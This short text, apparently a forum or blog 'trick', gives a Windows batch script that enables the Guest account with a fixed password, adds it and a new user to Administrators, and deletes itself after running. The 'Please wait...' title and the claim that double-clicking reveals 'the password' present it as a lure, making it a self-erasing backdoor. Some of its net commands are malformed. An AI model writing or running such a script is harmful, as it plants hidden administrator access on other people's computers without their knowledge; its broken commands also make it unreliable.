GUEST A/C with Admin privileges

open start menu and select run ,type notepad and press ok type the following in notepad

echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

save the file as filename.bat and after saving double click on the file to know the password!!